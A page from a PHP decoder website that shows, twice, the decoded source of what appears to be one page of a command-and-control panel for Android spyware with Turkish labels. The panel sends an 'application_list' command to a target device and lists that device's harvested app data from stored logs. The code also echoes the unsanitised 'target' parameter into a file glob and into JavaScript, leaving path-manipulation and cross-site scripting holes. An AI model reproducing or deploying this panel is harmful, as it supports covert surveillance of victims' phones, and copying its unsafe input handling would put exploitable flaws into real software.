Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php require_once 'module_controller.php'; $uid_device = $_GET['target']; $contact_path ..

Decoded Output download

<?php 
require_once 'module_controller.php';
$uid_device = $_GET['target'];
$contact_path = '../private/storage/app-list-'.$uid_device.'*';
$filelist = glob($contact_path);
$contact_file_list = array();
foreach ($filelist as $file){
    $c_data = explode("/", $file);
    $num = (count($c_data) - 1);
    array_push($contact_file_list, $c_data[$num]);
}

?>

    <div class="row">
        <div class="col-md-11 col-lg-offset-0">
            <div class="well">

                <img id="command-sender-id" name="command-sender-id" src="./images/signal-sender.png" style='height:48px;'/>

                <div class="col-md-10 col-lg-offset-0">
                        <label for="select" class="col-lg-2 control-label">Kaytl Loglar</label>
                        <div class="col-lg-4">
                            <select class="form-control" id="selected-file" name="selected-file">
                                <?php
                                foreach ($contact_file_list as $file_name){
                                    echo '<option>'.$file_name.'</option>';
                                }
                                ?>
                            </select>
                        </div>

                        <button type="button" id="btn-show-file" name="btn-show-file" class="btn btn-default">Dosyay Gster</button>

                </div>

                <div class="row"></div>
                <br><br>
                <legend>Tm Uygulamlar</legend>
                <div class="row">
                    <table class="table table-striped table-hover">
                            <thead>
                            <tr>
                                <th>#</th>
                                <th>App Name</th>
                                <th>App Package</th>
                                <th>App Dir</th>
                            </tr>
                            </thead>
                            <tbody id="body-content-id">

                            </tbody>
                        </table>
                </div>
                <br><br>
            </div>
        </div>
    </div>

<script>


    $("#btn-show-file").click(function() {

        $('#body-content-id').empty();
        $('#body-content-id').html('');

        var selected_file = $( "#selected-file option:selected" ).text();

        $.post( "commands.php", { app_file_listed: selected_file}, function( data, err ) {

            if (data){
                Toastify({
                    text: "Komut gnderildi.!",
                    backgroundColor: "linear-gradient(to right, #008000, #00FF00)",
                    className: "info",
                }).showToast();
                var index_contact = 0;
                $.each(data['app_list'], function(i, item) {
                    console.log(data['app_list'][i]);
                    index_contact +=1;
                    $('<tr>').html(
                        "<td>" + index_contact + "</td><td>"
                        + data['app_list'][i].app_name  + "</td><td>"
                        + data['app_list'][i].app_package  + "</td><td>"
                        + data['app_list'][i].app_dir  + "</td>").appendTo('#body-content-id');
                });

            } else {
                Toastify({
                    text: "Komut baarsz.!",
                    backgroundColor: "linear-gradient(to right,#FF0000, #990000)",
                    className: "info",
                }).showToast();
            }

        }, "json");

    });

    $("#command-sender-id").click(function() {
        $.post( "commands.php", { send_command: true, target:"<?php echo $uid_device;?>", type: "application_list", value: true}, function( data, err ) {
            if (data.status){
                Toastify({
                    text: "Komut gnderildi.!",
                    backgroundColor: "linear-gradient(to right, #008000, #00FF00)",
                    className: "info",
                }).showToast();
            } else {
                Toastify({
                    text: "Komut baarsz.!",
                    backgroundColor: "linear-gradient(to right,#FF0000, #990000)",
                    className: "info",
                }).showToast();
            }

        }, "json");

    });

</script>

Did this file decode correctly?

Original Code

<?php 
require_once 'module_controller.php';
$uid_device = $_GET['target'];
$contact_path = '../private/storage/app-list-'.$uid_device.'*';
$filelist = glob($contact_path);
$contact_file_list = array();
foreach ($filelist as $file){
    $c_data = explode("/", $file);
    $num = (count($c_data) - 1);
    array_push($contact_file_list, $c_data[$num]);
}

?>

    <div class="row">
        <div class="col-md-11 col-lg-offset-0">
            <div class="well">

                <img id="command-sender-id" name="command-sender-id" src="./images/signal-sender.png" style='height:48px;'/>

                <div class="col-md-10 col-lg-offset-0">
                        <label for="select" class="col-lg-2 control-label">Kaytl Loglar</label>
                        <div class="col-lg-4">
                            <select class="form-control" id="selected-file" name="selected-file">
                                <?php
                                foreach ($contact_file_list as $file_name){
                                    echo '<option>'.$file_name.'</option>';
                                }
                                ?>
                            </select>
                        </div>

                        <button type="button" id="btn-show-file" name="btn-show-file" class="btn btn-default">Dosyay Gster</button>

                </div>

                <div class="row"></div>
                <br><br>
                <legend>Tm Uygulamlar</legend>
                <div class="row">
                    <table class="table table-striped table-hover">
                            <thead>
                            <tr>
                                <th>#</th>
                                <th>App Name</th>
                                <th>App Package</th>
                                <th>App Dir</th>
                            </tr>
                            </thead>
                            <tbody id="body-content-id">

                            </tbody>
                        </table>
                </div>
                <br><br>
            </div>
        </div>
    </div>

<script>


    $("#btn-show-file").click(function() {

        $('#body-content-id').empty();
        $('#body-content-id').html('');

        var selected_file = $( "#selected-file option:selected" ).text();

        $.post( "commands.php", { app_file_listed: selected_file}, function( data, err ) {

            if (data){
                Toastify({
                    text: "Komut gnderildi.!",
                    backgroundColor: "linear-gradient(to right, #008000, #00FF00)",
                    className: "info",
                }).showToast();
                var index_contact = 0;
                $.each(data['app_list'], function(i, item) {
                    console.log(data['app_list'][i]);
                    index_contact +=1;
                    $('<tr>').html(
                        "<td>" + index_contact + "</td><td>"
                        + data['app_list'][i].app_name  + "</td><td>"
                        + data['app_list'][i].app_package  + "</td><td>"
                        + data['app_list'][i].app_dir  + "</td>").appendTo('#body-content-id');
                });

            } else {
                Toastify({
                    text: "Komut baarsz.!",
                    backgroundColor: "linear-gradient(to right,#FF0000, #990000)",
                    className: "info",
                }).showToast();
            }

        }, "json");

    });

    $("#command-sender-id").click(function() {
        $.post( "commands.php", { send_command: true, target:"<?php echo $uid_device;?>", type: "application_list", value: true}, function( data, err ) {
            if (data.status){
                Toastify({
                    text: "Komut gnderildi.!",
                    backgroundColor: "linear-gradient(to right, #008000, #00FF00)",
                    className: "info",
                }).showToast();
            } else {
                Toastify({
                    text: "Komut baarsz.!",
                    backgroundColor: "linear-gradient(to right,#FF0000, #990000)",
                    className: "info",
                }).showToast();
            }

        }, "json");

    });

</script>

Function Calls

None

Variables

None

Stats

MD5 1f8bd7e9e2c4be856318285c1816a1b3
Eval Count 0
Decode Time 89 ms